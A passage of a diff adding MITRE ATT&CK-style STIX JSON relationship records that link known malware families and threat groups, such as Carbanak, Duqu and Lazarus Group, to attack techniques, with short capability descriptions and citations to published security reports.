"relationship--93fe5493-d3c1-4db2-8228-61da951c660e", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "modified": "2019-01-30T15:38:21.284Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1 Appendix", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) can create a Windows account.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a7fc5d9b-7010-4bab-9e77-3b8e449a98bd", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to initiate keylogging.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e45cdf20-e182-4346-8c98-a48575282ae6", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "source_name": "Zscaler Kasidet", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) decodes many of its artifacts and is decrypted (AES-128) after being downloaded.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.492Z", + "id": "relationship--bfe474ce-d88f-4372-9918-a04470ba080e", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.850Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a module to collect data from removable drives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9ab576ed-2ba0-4fc5-87fc-2011a7cd183d", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that checked if the ProgramData folder had folders or files with the keywords \"Kasper,\" \"Panda,\" or \"ESET.\"", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:33:40.973Z", + "id": "relationship--7aab9015-1839-4672-9a9a-76f478c858a8", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:59.025Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Naid](https://attack.mitre.org/software/S0205) creates a new service to establish.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--b707524f-5ac2-47c2-964d-61782e812fda", + "source_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.", + "source_name": "Symantec Naid June 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "Adversaries can instruct [Duqu](https://attack.mitre.org/software/S0038) to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--448a35fc-fecf-4373-9888-30c37dd1d56a", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.288Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses cmd.exe to execute commands on victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.066Z", + "id": "relationship--de376ec3-0fad-4c41-944d-2d74cee6968c", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.683Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + }, + { + "source_name": "US-CERT SHARPKNOT June 2018", + "description": "US-CERT. (2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can take a desktop screenshot and save the file into \\ProgramData\\Mail\\MailAg\\shot.png.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0bd9fd2b-e2f7-48f1-8988-31c041691585", + "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[Cannon](https://attack.mitre.org/software/S0351) uses port 587 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:58:04.072Z", + "id": "relationship--267c62d3-362b-497c-8d2f-967a4d23c3cf", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "modified": "2019-04-22T19:48:08.986Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) sets the main loader file\u2019s attributes to hidden.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:18:20.190Z", + "id": "relationship--60fa966f-bb77-481f-9541-8a14e965718a", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "modified": "2019-09-26T16:22:41.978Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "source_name": "TrendMicro MacOS April 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[Denis](https://attack.mitre.org/software/S0354) exploits a security vulnerability to load a fake DLL and execute its code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T20:01:45.514Z", + "id": "relationship--e2b750e7-ad43-4e27-96a1-9bdb0e886a72", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "modified": "2019-04-24T20:56:04.780Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "source_name": "Cybereason Oceanlotus May 2017", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[KONNI](https://attack.mitre.org/software/S0356) had a feature to steal data from the clipboard.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:36:41.177Z", + "id": "relationship--592df85b-8f0b-46c1-87e6-fa48da9c0ead", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "modified": "2019-07-26T18:47:19.517Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.813Z", + "id": "relationship--56f587e1-d7c3-4489-945e-58c4ee3e4ba7", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.955Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[POORAIM](https://attack.mitre.org/software/S0216) can conduct file browsing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--17c43eed-f8a2-42cb-8f0a-f31978e9e351", + "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Downdelph](https://attack.mitre.org/software/S0134) uses RC4 to encrypt C2 responses.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9253e8b3-9fbb-4149-a2e4-60d36c006ba6", + "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519", + "modified": "2019-10-15T18:00:19.448Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 3", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can use WMI queries to gather system information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--77ea5d03-715b-4247-8484-6c1cf2bc7984", + "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[MirageFox](https://attack.mitre.org/software/S0280) has the capability to execute commands using cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c6dc9631-b324-47d1-8bbd-975d20fa5e58", + "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "source_name": "APT15 Intezer June 2018", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) uses a custom binary protocol for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--45fc6d1a-0101-4d14-92df-f9db27437fc4", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Misdat](https://attack.mitre.org/software/S0083) is capable of deleting the backdoor file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--70a1cab8-dd98-4b82-9f7f-36294e3889c0", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76", + "description": "[SynAck](https://attack.mitre.org/software/S0242) abuses NTFS transactions to launch and conceal malicious processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--41ac0542-9215-466a-ba43-05bd8b9e330b", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "modified": "2019-07-26T23:00:57.630Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + }, + { + "source_name": "Kaspersky Lab SynAck May 2018", + "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", + "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) achieves persistence by creating a shortcut in the current user's Startup folder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8a48e090-ab8c-414e-b559-7a0437c92850", + "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraBravo-Two generates an email message via SMTP containing information about newly infected victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.069Z", + "id": "relationship--0a8ee649-e907-4a73-8513-3019b2d771a0", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.689Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) is known to use software packing in its tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.048Z", + "id": "relationship--047ee6d3-1b85-4a0f-96a6-6ead4be43548", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.944Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1652bf3a-085a-4388-839a-04858b14affd", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.903Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) uses the email platform, Naver, for C2 communications, leveraging SMTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5d1d94e9-c0fd-421f-867f-1a426b0dff99", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "source_name": "Talos NavRAT May 2018", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) creates a scheduled task on the system that provides persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--17ce446f-1a76-46d5-a276-589713425af8", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.915Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "source_name": "S2 Grupo TrickBot June 2017", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + }, + { + "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.", + "source_name": "Trend Micro Totbrick Oct 2016", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n" + }, + { + "description": "Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.", + "source_name": "Microsoft Totbrick Oct 2017", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) gathers the victim username.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fc52b3a9-96b2-4595-bedf-54289a42117a", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) gathers the username from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e0bb9da4-4cf5-4fcc-89c9-2cf174a34cae", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar 